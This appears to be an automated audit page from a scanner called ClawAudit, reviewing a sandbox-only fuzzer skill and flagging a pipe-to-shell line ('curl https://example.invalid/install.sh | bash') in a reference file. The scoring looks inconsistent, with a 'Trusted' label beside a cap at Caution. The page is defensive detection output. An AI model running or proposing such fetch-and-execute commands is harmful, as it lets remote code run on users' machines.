ClawAudit verdict

safe-fuzzer

safe-fuzzer-deprecated

88
🟢 Trusted
Low risk — reviewed by ClawAudit, behavior matches stated purpose

A sandbox-only security fuzzer for installed skills that explicitly requires a locked sandbox environment, refuses to run outside it, and explicitly prohibits reading auth profiles or host environment variables — the safety gates are concrete and restrictive.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

40
security
80
transparency
70
maintenance

Findings (2)

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

references/report-schema.md · code · curl https://example.invalid/install.sh | bash

Pattern match critical

Pipe to bash — executes piped content as shell commands

references/report-schema.md · code · | bash

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

process_exec

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API